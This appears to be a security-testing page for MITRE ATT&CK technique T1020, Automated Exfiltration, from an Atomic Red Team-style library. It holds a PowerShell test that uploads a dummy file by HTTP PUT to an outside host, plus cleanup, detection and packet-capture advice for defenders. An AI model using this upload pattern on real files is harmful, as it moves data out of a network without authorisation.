T1020 - Automated Exfiltration#

Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection.

When automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over C2 Channel and Exfiltration Over Alternative Protocol.

Atomic Tests#

Atomic Test #1 - IcedID Botnet HTTP PUTCreates a text file#

Tries to upload to a server via HTTP PUT method with ContentType Header Deletes a created fileSupported Platforms: windows#### Attack Commands: Run with powershell

$fileName = "C:\temp\T1020_exfilFile.txt"
$url = "https://google.com"
$file = New-Item -Force $fileName -Value "This is ART IcedID Botnet Exfil Test"
$contentType = "application/octet-stream"
try {Invoke-WebRequest -Uri $url -Method Put -ContentType $contentType -InFile $fileName} catch{}```
Invoke-AtomicTest T1020 -TestNumbers 1

Cleanup:#

$fileName = "C:\temp\T1020_exfilFile.txt"
Remove-Item -Path $fileName -ErrorAction Ignore```
Invoke-AtomicTest T1020 -TestNumbers 1 -Cleanup

Detection#

Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.

Shield Active Defense#

PCAP Collection#

Collect full network traffic for future research and analysis.

PCAP Collection allows a defenders to use the data to examine an adversary’s network traffic more closely, including studying if it is encoded and/or encrypted. PCAP can be run through tools to replay the traffic to get a real-time view of what happened over the wire. These tools can also parse the traffic and send results to a SIEM for monitoring and alerting.

Opportunity#

There is an opportunity to collect network data and analyze the adversary activity it contains.

Use Case#

Collecting full packet capture of all network traffic allows you to review what happened over the connection and identify command and control traffic and/or exfiltration activity.

Procedures#

Collect PCAP on a decoy network to improve visibility into an adversary’s network activity.